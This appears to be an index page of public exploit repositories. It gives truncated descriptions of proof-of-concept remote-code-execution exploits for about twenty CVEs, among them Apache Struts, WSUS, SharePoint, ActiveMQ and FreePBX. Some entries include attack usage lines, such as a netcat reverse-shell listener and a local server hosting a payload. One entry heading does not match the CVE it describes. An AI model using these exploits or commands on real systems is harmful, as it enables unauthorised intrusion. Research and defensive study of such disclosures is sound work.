CVE-2024-53677

CVE-2024-53677 Proof of concept exploit for CVE-2024-53677 - Apache Struts file upload path traversal vulnerability leading to Remote Code Execution...

CVE-2025-59287

CVE-2025-59287 WSUS RCE Exploit Automated exploit for Windows Server Update Services WSUS unauthenticated remote code execution vulnerability. Vulnerability Details CVE ID: CVE-2025-59287 CVSS Score: 9.8 Critical Attack Vector: Network Authentication: None required Impact: Remote Code Execution a...

cve-2025-53770

CVE-2025-53770 SharePoint Deserialization RCE PoC Critical — Unauthenticated Remote Code Execution via unsafe deserialization in Microsoft SharePoint Server CVE-2025-53770 Description Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an attacker to execute code...

WordPress-HT-Contact-CVE-2025-7340-RCE

WordPress HT Contact Form Widget | CVE-2025-7340 File Upload Vulnerability Analysis Vulnerability Location Vulnerability Location: ht-contactform/admin/Includes/Services/FileManager.php Key Function: tempfileupload 1. Main Vulnerability Point: tempfileupload function Line 63 public function...

Go-Get-RCE-CVE-2018-6574-POC

CVE-2018-6574 POC LINK https://nvd.nist.gov/vuln/detail/CVE-2018-6574 http://blog.nsfocus.net/cve-2018-6574/ RUN go get github.com/neargle/CVE-2018-6574-POC DETAIL payload at: https://github.com/neargle/CVE-2018-6574-POC/blob/master/calc.cL10 Now it supports all platforms using CGO features. Afte...

CVE-2026-23918-poc

CVE-2026-23918 — Apache modhttp2 Double Free Affected: Apache HTTP Server 2.4.66 with modhttp2 + Event MPM Fixed in: Apache 2.4.67 modh2 v2.0.37 CVSS 3.1: 8.8 HIGH — Unauthenticated Remote Code Execution possible CWE: CWE-415 Double Free What's the vulnerability modhttp2 in Apache 2.4.66 has a...

CVE-2026-106173

CVE-2026-106173: Fortinet FortiSIEM gRPC Path Traversal File Write RCE This repository contains a proof of concept for CVE-2026-106173, an unauthenticated remote code execution vulnerability in Fortinet FortiSIEM. Vulnerability Details The FortiSIEM gRPC QueryResultReq handler processes untrusted...

CVE-2025-57819-exploit

CVE-2025-57819 — FreePBX Pre-Auth SQLi to RCE An all-in-one exploit for CVE-2025-57819 , an unauthenticated SQL injection in FreePBX's endpoint module that leads to remote code execution via cron job injection. CVSS : 9.8 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CISA KEV : Added...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Python implementation of Apache ActiveMQ Unauthenticated Remote Code Execution Setup & Exploit nc -lvnp 4444 - Start Listener python3 -m http.server 8080 - Host poc.xml that contain your payload python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - Start exploit...

ASUS-AiCloud-RCE

Origasus A Go program compiled with origasus.go, written for examining endpoints that can be associated with ASUS AiCloud / AsusWRT within the scope of authorized security testing or defense analysis e.g., your own device, a pentest lab environment. Important: The use of such software against...

PoC-CVE-2017-3881

PoC-CVE-2017-3881 Cisco Catalyst Remote Code Execution PoC This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability disclosed by Cisco Systems on March 17th 2017 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp...

PoC-CVE-2017-0199

PoC-CVE-2017-0199 Exploit toolkit for vulnerability RCE Microsoft RTF. About this vulnerability: https://errorcybernews.com/2017/04/11/microsoft-word-zero-day/...

CVE-2026-5364

CVE-2026-5364 CVE-2026-5364 is a CVSS 8.1 High Unauthenticated Arbitrary File Upload vulnerability in the Drag and Drop File Upload for Contact Form 7 CVE-2026-5364 — CF7 Drag & Drop File Upload RCE Unauthenticated Arbitrary File Upload viasanitizefilename Bypass CVSS 8.1 High | Affected: = 1.1.3...

CVE-2021-3130

CVE-2021-3129 Yet another exploit for CVE-2021-3129! Made to have more features and reliability. Based on https://pentest-tools.com/blog/exploit-rce-vulnerability-laravel-cve-2021-3129 DISCLAIMER: This script is made to audit the security of systems. Only use this script on your own systems or on...

POC_CVE-2026-46716

CVE-2026-46716 — Nezha Monitoring Cross-Tenant RCE via Cron API Authorization Bypass A lab environment for reproducing and detecting CVE-2026-46716 , a critical vulnerability in Nezha Monitoring where the POST /api/v1/cron endpoint lacks admin privilege checks, allowing RoleMember users to achiev...

CVE-2026-40217-PoC

CVE-2026-40217 — LiteLLM Guardrail Sandbox Escape LiteLLM POST /guardrails/testcustomcode — Sandbox Escape leading to Remote Code Execution RCE as root in default Docker deployment. Field| Value ---|--- CVE| CVE-2026-40217 CVSS| 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE| CWE-913...

cve-2021-22005-exp

cve-2021-22005-exp 0x01 Vulnerability Overview On September 21, 2021, VMware released a security advisory disclosing 19 security vulnerabilities in vCenter Server, with CVSSv3 scores ranging from 4.3 to 9.8. Among them, the most critical vulnerability is an arbitrary file upload vulnerability in...

TIC4301_Project

TIC4301Project TIC4301 Project - CVE-2021-40444 Download the following vagrant boxes: Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNtmU2/view?usp=sharing Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing Import the boxes with the...

CVE-2026-23830-SandBreak

SandBreak CVE-2026-23830 Exploit Generator & Auto-Pwn Tool SandBreak is a robust, Go-based exploit generator designed to leverage the SandboxJS Escape vulnerability CVE-2026-23830. This tool exploits the unprotected AsyncFunction constructor in older versions of sandboxjs, allowing attackers to...

CVE-2026-25924

CVE-2026-25924 PoC - Kanboard Admin RCE Proof-of-Concept for Administrative RCE via Security Control Bypass Disclosure: Originally reported by me via GHSA-grch-p7vf-vc4f ⚠️ Authorized pentesting/research use only. Vulnerability Information Field| Value ---|--- CVE ID| CVE-2026-25924 Severity| 🔴...